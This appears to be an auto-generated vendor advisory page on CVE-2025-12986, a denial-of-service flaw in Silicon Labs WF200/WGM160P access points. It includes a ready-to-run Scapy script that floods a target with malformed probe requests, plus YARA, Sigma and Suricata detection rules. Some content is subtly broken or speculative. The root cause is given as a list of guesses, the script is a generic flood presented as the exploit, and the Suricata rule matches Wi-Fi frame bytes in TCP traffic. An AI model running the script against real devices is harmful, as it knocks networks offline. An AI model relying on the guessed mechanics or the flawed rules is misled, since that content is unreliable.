CVE-2025-12986
Executive Summary
CVE-2025-12986 describes a denial-of-service (DoS) vulnerability in Silicon Labs WF200 and WGM160P devices when operating as an Access Point (AP). A malformed packet can cause the device to crash or become unresponsive, requiring either automatic recovery or a hard reset. The vulnerability has a CVSS score of 0.0 (unscored) and no public exploit code or patch is currently available. The EPSS score is 0.0%, indicating low exploitation likelihood at this time.
Affected Ecosystem: Embedded/IoT (Silicon Labs Wi-Fi chipsets)
Supply Chain & Package Security: This vulnerability affects hardware/firmware, not software packages. No supply chain implications for NPM, PyPI, Go, or Ruby.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Score: 0.0 (Unscored)
- Attack Vector: Network (malformed packet sent to the AP)
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Impact: Denial of Service (Availability)
- Threat Level: Medium (due to potential for device unavailability in critical IoT deployments)
Deep Dive & Mechanics
The vulnerability resides in the Wi-Fi Access Point implementation of the WF200 and WGM160P chipsets. When the device is configured as an AP, it processes incoming management and data frames. A specially crafted malformed packet (e.g., with invalid frame control fields, incorrect sequence numbers, or corrupted beacon/probe response frames) triggers a fault in the firmware’s packet parsing logic. This leads to a buffer overflow, null pointer dereference, or infinite loop, causing the device to crash or hang.
The device may recover automatically after a watchdog timeout, but in severe cases, a hard reset (power cycle) is required. The vulnerability does not allow code execution or data exfiltration—only denial of service.
Vulnerable vs. Patched Code
No patch is available. The vulnerable code is in the firmware’s Wi-Fi management frame handler. A patched version would include input validation and bounds checking on packet fields.
Vulnerable (pseudocode):
void handle_mgmt_frame(uint8_t *frame, uint16_t len) {
struct mgmt_header *hdr = (struct mgmt_header *)frame;
// No length check
process_frame_body(hdr->body, len - sizeof(*hdr));
}
Patched (pseudocode):
void handle_mgmt_frame(uint8_t *frame, uint16_t len) {
if (len < sizeof(struct mgmt_header)) {
return; // Drop malformed packet
}
struct mgmt_header *hdr = (struct mgmt_header *)frame;
uint16_t body_len = len - sizeof(*hdr);
if (body_len > MAX_BODY_SIZE) {
return; // Drop oversized body
}
process_frame_body(hdr->body, body_len);
}
Exploitation & Lab Setup
Red Team
Prerequisites:
- A WF200 or WGM160P device configured as an Access Point.
- A Wi-Fi adapter capable of raw packet injection (e.g., Alfa AWUS036ACH).
- Tools:
scapy,aircrack-ng,mdk4, or custom Python script.
Exploitation Steps:
- Identify the target AP’s BSSID and channel.
- Craft a malformed management frame (e.g., a corrupted Association Request or Probe Request).
- Send the frame repeatedly to the AP.
Example Scapy Script:
from scapy.all import *
import time
target_bssid = "AA:BB:CC:DD:EE:FF"
iface = "wlan0mon"
# Craft a malformed Probe Request with invalid frame control
packet = RadioTap() / Dot11(
type=0, subtype=4, # Probe Request
addr1=target_bssid,
addr2="00:11:22:33:44:55",
addr3=target_bssid
) / Dot11ProbeReq() / Raw(b"\x00" * 100) # Malformed payload
# Send in a loop
for i in range(1000):
sendp(packet, iface=iface, verbose=0)
time.sleep(0.01)
Expected Outcome: The AP becomes unresponsive or crashes.
Blue Team
Detection:
- Monitor for an unusually high rate of malformed management frames.
- Use WIDS/WIPS (Wireless Intrusion Detection/Prevention Systems) to detect anomalies.
- Enable AP logging and watch for “firmware crash” or “watchdog reset” events.
Mitigation:
- Disable AP mode if not required.
- Apply firmware updates when available.
- Use network segmentation to isolate vulnerable devices.
Indicators of Compromise (IOCs)
- Network IOCs:
- High volume of malformed 802.11 management frames (e.g., invalid frame control, oversized body).
- Repeated Association/Probe Requests with unusual payloads.
- Host IOCs:
- AP logs showing “firmware exception” or “watchdog timeout”.
- Device LED behavior: sudden loss of Wi-Fi activity, then recovery or need for power cycle.
- File IOCs:
- Firmware crash dumps (if accessible) containing corrupted packet data.
Detection Engineering
YARA Rule
rule CVE_2025_12986_WF200_DoS {
meta:
description = "Detects malformed 802.11 management frames targeting Silicon Labs WF200/WGM160P"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2025-12986"
strings:
$mgmt_frame = { 40 00 00 00 } // Probe Request frame control (example)
$malformed_payload = { 00 00 00 00 00 00 00 00 00 00 } // All-zero payload
condition:
$mgmt_frame and #malformed_payload > 10
}
Sigma Rule
title: CVE-2025-12986 - Malformed Wi-Fi Management Frame DoS
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects excessive malformed 802.11 management frames targeting Silicon Labs APs
author: Valters IT
date: 2025-04-10
logsource:
category: wireless
product: wids
detection:
selection:
frame.type: "Management"
frame.subtype: "Probe Request" or "Association Request"
frame.malformed: true
condition: selection | count() > 100 in 60 seconds
falsepositives:
- Legitimate but poorly implemented Wi-Fi clients
level: medium
Suricata Rule
alert tcp any any -> any any (msg:"CVE-2025-12986 - Malformed Wi-Fi Management Frame DoS"; flow:to_server; content:"|40 00 00 00|"; depth:4; byte_test:2,>,100,0; classtype:attempted-dos; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Disable AP mode on WF200/WGM160P devices if not essential.
- Short-term: Apply network-level filtering to drop malformed management frames (if supported by upstream AP/controller).
- Long-term: Monitor Silicon Labs for a firmware patch. When available, update all affected devices.
- Compensating Controls: Use a separate, hardened AP for critical IoT deployments; isolate vulnerable devices on a VLAN.
Valters IT – Securing the future, one CVE at a time.